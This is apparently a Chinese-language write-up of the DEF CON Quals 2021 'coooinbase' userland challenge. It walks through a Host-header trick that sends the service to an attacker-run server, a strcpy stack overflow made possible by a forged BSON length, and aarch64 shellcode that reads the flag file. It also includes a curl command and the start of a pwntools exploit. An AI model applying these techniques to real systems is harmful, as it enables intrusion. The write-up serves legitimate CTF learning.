PWN掉一款小型开源OS——用户态利用
本文首发于安全客:PWN掉一款小型开源OS——用户态利用
题目来源于DefCon Quals 2021的coooinbase二连pwn,第一部分是用户空间利用,第二部分是内核利用。本篇文章是coooinbase用户态pwn的解题思路。
在Github上找到对应源码
这是一款极其精简的的OS,没有shell,甚至只实现了有限的几个系统调用,包括open、read、write等。在coooinbase.bin
这个内核基础上,再跑着一个用户态进程run
,以下是关于run
这个用户态进程的pwn
Ruby源码审计
给了以下几个文件,执行ruby x.rb
启动题目环境
解压文件系统
1 | mkdir /tmp/dos |
x.rb,会对输入的credit_card
进行校验,看下是否valid,可用4485-7873-4804-0088
通过检查
通过POST方法/gen-bson
获取cvv
、expmonth
、expyear
、cardnumber
参数,序列化成bson数据,最后转成base64。但是,bson只能接受0x0~0x7f
的utf-8数据,超出这个范围的byte数据会导致没法通过x.rb的check,这为后续构造rop带来困难。
将bson数据传给/buy
这个POST方法,注意到http://#{env['HTTP_HOST']}/gen-bson
的访问是通过HTTP_HOST
参数,也就是能通过http header的Host
参数去设置URI.parse的链接
现在转而向我们搭建的http server去获取gen-bson
这个文件或者接口,这样便能绕过bson序列化,直接将任意byte的base64数据喂给x.sh
1 | curl -X POST -d "cvc=123" http://localhost:4567/buy -H "Host: localhost:8080" |
静态分析
导入Ghidra,Language选择aarch64小端
读取喂入的base64数据,最多读512 bytes,然后base64 decode
获取base64 decode后的bson数据,将bson数据复制到payload_start
,分别获取bson的CVC
、MON
、YR
、CC
键值,其中CC
是str类型,其余为num类型,最后输出CC
的str内容
process_cc
里有一处strcpy
栈溢出,直接将CC
字符串拷贝到栈上。由于栈空间是根据CC
字符串串长度来动态扩展,下面需要分析bson数据结构。
BSON数据结构
接下来分析一下bson数据结构,通过以下脚本生成bson序列化数据
1 | import bson |
bson数据有几个重要结构:
1.开始的4个byte,表示整个bson数据的总长度;
2.\x10
、\x02
表示这个key对应存放的是num、str类型的数据;
3.key和value之间用\x00
分隔;
4.str类型的数据,有一个额外4个byte的数值指示value的长度。
现在便可构造bson数据结构,bson结构最后有个\x00
,需要先去掉。然后拼接上CC
结构,CC
长度为字符串长度+1
,最后1 byte为\x00
。另外,bson结构结束符为\x00
,需要在最后补上。注意,CVC
是信用卡的后三码,这里指定为三位数字。
1 | obj = { |
Debug
编辑x.sh
,增加-s -S
参数,开启调试接口并在内核启动时挂起
1 | qemu-system-aarch64 -s -S -machine virt -cpu cortex-a57 -smp 1 -m 64M -nographic -serial mon:stdio -monitor none -kernel coooinbase.bin -drive if=pflash,format=raw,file=rootfs.img,unit=1,readonly |
现将AAAAA...
串的base64存到payload文件,执行./x.sh < payload
喂入数据
userland程序装载地址为0x0
喂入构造好的bson base64数据python solve.py | x.sh
,断在strcpy处。现在程序将AAAAAAA...
串拷贝到process_cc栈上
但此处的栈会根据bson CC
结构里的4个byte长度去动态扩展栈空间,因而没法溢出到返回地址0xf958
。但我们可以通过修改这4个byte长度结构去绕过,给出一个较小的长度与一个较长的字符串,便能覆盖process_cc
的返回地址
返回地址已被覆盖为AAAAAAAA
成功劫持了PC
Hijack to ORW
由于OS内核并没有PIE、NX、Canary等保护,可以跳回栈上执行shellcode。同时,OS并未实现execve
等pop shell系统调用,只能通过orw读flag。
1 | shellcode = '''ldr x0,=0x676c662f // /flg |
strcpy
对\x00
截断,需要找另外一处存放有shellcode的内存空间
注意到main方法中的base64_decode会将decode后的bson数据存放到一个栈地址上,返回到此处就行
shellcode布置在0xfc46
将process_cc
返回地址覆盖为0xfc46
get flag~
Script
完整EXP
1 | from pwn import * |